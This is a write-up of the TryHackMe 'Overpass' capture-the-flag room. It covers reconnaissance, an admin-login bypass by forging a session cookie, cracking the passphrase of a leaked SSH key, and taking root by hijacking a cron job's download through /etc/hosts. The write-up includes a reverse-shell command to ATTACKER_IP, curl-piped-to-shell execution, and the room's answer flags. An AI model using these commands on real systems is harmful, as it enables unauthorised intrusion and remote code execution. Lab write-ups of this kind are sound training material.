

Index

1. [Setup](#)
2. [Reconnaissance](#)
3. [Gaining Access](#)
4. [Privilege Escalation](#)

Setup

We first need to connect to the tryhackme VPN server. You can get more information regarding this by visiting the [Access](#) page.

I'll be using openvpn to connect to the server. Here's the command:

```
$ sudo openvpn --config NovusEdge.ovpn
```

Reconnaissance

Starting off with some `nmap` scans:

```
$ sudo nmap -sV -vv --top-ports 2000 -oN nmap_scan.txt -TARGET_IP
...

PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 63  OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
(Ubuntu Linux; protocol 2.0)
80/tcp    open  http     syn-ack ttl 63  GoLang net/http server (Go-IPFS
json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Vuln script scan:
$ sudo nmap -sC -vv --script=vuln -p22,80 -oN nmap_vulnscan.txt
TARGET_IP
...

PORT      STATE SERVICE REASON
22/tcp    open  ssh      syn-ack ttl 63
80/tcp    open  http     syn-ack ttl 63
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|   State: LIKELY VULNERABLE
|   IDs:  CVE:CVE-2007-6750
```

```
|      Slowloris tries to keep many connections to the target web
server open and hold
|      them open as long as possible. It accomplishes this by
opening connections to
|      the target web server and sending a partial request. By
doing so, it starves
|      the http server's resources causing Denial Of Service.
|
|      Disclosure date: 2009-09-17
|      References:
|      http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-
6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-passwd: ERROR: Script execution failed (use -d to debug)
|_http-litespeed-sourcecode-download: Request with null byte did
not work. This web server might not be vulnerable
| http-enum:
|   /admin.html: Possible admin folder
|   /css/: Potentially interesting folder
|   /downloads/: Potentially interesting folder
|_  /img/: Potentially interesting folder
| http-jsonp-detection:
| The following JSONP endpoints were detected:
|_/main.js
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-wordpress-users: [Error] Wordpress installation was not
found. We couldn't find wp-login.php
```

Nothing interesting in the results from the `vuln` script. Visiting the `/downloads/` page for the target, we're presented with some download options, one of which allows us to download the source code for the password manager. The source code gives us the following information:

1. The password manager encrypts it's passwords using `ROT47`.
2. The program stores all the passwords on the machine rather than a remote server.

This aside, we can probably try to brute force the `/admin/` login page, but that's a waste of time. Inspecting the `/admin/` page shows that it uses 3 files: `main.js`, `cookie.js` and `login.js`. Upon further inspection of `login.js` we come across the `login()` function:

\

```
async function login() { JavaScript
  const usernameBox = document.querySelector("#username");
  const passwordBox = document.querySelector("#password");
  const loginStatus = document.querySelector("#loginStatus");
  loginStatus.textContent = ""
  const creds = { username: usernameBox.value, password:
passwordBox.value }
  const response = await postData("/api/login", creds)
  const statusOrCookie = await response.text()
  if (statusOrCookie === "Incorrect credentials") {
    loginStatus.textContent = "Incorrect Credentials"
    passwordBox.value=""
  } else {
    Cookies.set("SessionToken",statusOrCookie)
    window.location = "/admin"
  }
}
```

The function's logic dictates that if the credentials supplied are valid, it sets the **SessionToken** cookie. We can exploit this behavior (given that the server doesn't validate the cookie) by editing the cookie. Once we set the **SessionToken** cookie to some random stuff, we're taken to the following page:

Welcome to the Overpass Administrator area

A secure password manager with support for Windows, Linux, MacOS and more

Since you keep forgetting your password, James, I've set up SSH keys for you.

If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.

Also, we really need to talk about this "Military Grade" encryption. - Paradox

-----BEGIN RSA PRIVATE KEY-----

Proc-Type: 4, ENCRYPTED

DEK-Info: AES-128-CBC, 9F85D92F34F42626F13A7493AB48F337

```
LNu5wQBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS30+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDwtw2yc07mNdNszwLp3uto7ENDTIbzvJaI
73/eUN9kYF0ua9rZC6mwoI2iG6sdlnL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgwljT
WDyy8qncIjUg0If8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDyKUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPW50qRJ718G/u8cqYX3oJmM00o3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nH0ll10Bl1tmsUIRwYK7wt/9kvUiL3rhkBURhViBj2qiHxR
3KwmS4Dm4A0toPTIAMVyaKmCWopf6le1+wzZ/UpnNCAgeGTLZX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxtbFmXPoVwvWRQ98Z+p8Mi0oReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
OkU0TMqmd3Lj07yELyavLBHrz5FJvzPM3rimRwEsL8GH111D4L5rAKVcusdFc8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqWU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG504U9Fq0ZaYpKmlYjCzRVp43De4KKky05FQ+xSxce3FW0b63+8REgYir0GcZ
4TBAPY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZfVZs1X0FCCkCm8
GFheoT4yFwXhU1fjQjW/cR0kbh0v7Rfv5x7L36x3ZuCFbdlWkt/h2M5nowjcbYn
exx0u0dQdazTjRX0yRNY0tYF9WPLhLRHapBAKXzvNS0ERB3TJca8ydbKsyasdCGy
AIPX52bioBldhg8DmPAPR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
6p7/wOX6WmoIMlkf95M3C7dxPFESpLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
n0Lz5pKY+rLxdUaAA9KVwFsdixNjHEE1UwnDqqrvgBuvX6Nux+hfgX19Bsy68qT
8HiUKTEsukcv/IYHK1s+Uw/H5AwTJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfwM4K
4FMg3ng0e4/7HRYJSaXLQ0KeNwcf/LW5dip07DmBjVLsC8eyJ8ujeutP/GcA5l6z
ylqilQgj4+yiS813kNTjCJ0wKR5Xg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
49TxToi53ZB14+ougl4SvJyYIRuQjrUmierXAdmbYF9wimhmLfelrMcof0HRW2
+hL1khLTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2B1FaJIZ0YDS6J6Yk
2cWk/Mln7+0hAAPAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtuJtymv8U7
-----END RSA PRIVATE KEY-----
```

We now have a ssh private key as well as a username to go with (**james**). We can use **ssh** to log into the machine as James.

Gaining Access

The ssh key given also requires a passphrase, we'll try to bruteforce it using **ssh2john**:

```
$ ssh2john sshkey.rsa > sshkey.hash language-shell-session
$ john --wordlist=/usr/share/wordlists/rockyou.txt ./sshkey.hash
...
james13 (sshkey.rsa)
```

With this passphrase, we can now **ssh** into the machine as james:

```
$ ssh -i sshkey.rsa james@TARGET_IP language-shell-session
Enter passphrase for key 'sshkey.rsa':
...

james@overpass-prod:~$ ls
todo.txt  user.txt
james@overpass-prod:~$ cat user.txt
thm{65c1aaf000506e56996822c6281e6bf7}
```

And thus, we have the user flag!

```
Hack the machine and get the flag in user.txt

Answer: thm{65c1aaf000506e56996822c6281e6bf7}
```

Privilege Escalation

With access to the machine as james, we can move onto getting root privileges. Let's have a look at the `todo.txt` file in James' home directory:

```
james@overpass-prod:~$ cat todo.txt language-shell-session
To Do:
> Update Overpass' Encryption, Muirland has been complaining that
it's not strong enough
> Write down my password somewhere on a sticky note so that I don't
forget it.
    Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it
actually works
> Ask Paradox how he got the automated build script working and
where the builds go.
    They're not updating on the website
```

For the getting root privileges, we can make use of the convenient `LinPeas` script:

```
james@overpass-prod:~$ curl -L language-shell-session
https://github.com/carlospolop/PEASS-
ng/releases/latest/download/linpeas.sh | sh
...
...

* * * * * root curl overpass.thm/downloads/src/buildscript.sh |
bash
```

There's a `cron` job that runs as root. Unfortunately we cannot edit this script with the current user's privileges. We can, however, redirect the domain `overpass.thm` to something else and hijack the process from there:

```
127.0.0.1 localhost                                language-shell-session
127.0.1.1 overpass-prod
ATTACKER_IP overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1          ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

Editing the `/etc/hosts` file and redirecting the `overpass.thm` domain to our own machine, we can make the cron job download a custom script (a reverse shell in this case) and execute it as root.

```
# On our machine:                                language-shell-session
$ mkdir -p downloads/src
$ cd downloads/src
$ echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" > buildscript.sh
$ chmod +x /downloads/src/buildscript.sh
$ python3 -m http.server 80

# In a different terminal session:
$ nc -nvlp 4444
root@overpass-prod:~# whoami
root

root@overpass-prod:~# ls
buildStatus
builds
go
root.txt
src

root@overpass-prod:~# cat root.txt
thm{7f336f8c359dbac18d54fdd64ea753bb}
```

Escalate your privileges and get the flag in `root.txt`

Answer: `thm{7f336f8c359dbac18d54fdd64ea753bb}`

Conclusion

If this writeup helps, please consider following me on github
(<https://github.com/NovusEdge>) and/or dropping a star on the repository:
<https://github.com/NovusEdge/thm-writeups>

- Author: Aliasgar Khimani
- Room: [Overpass](#)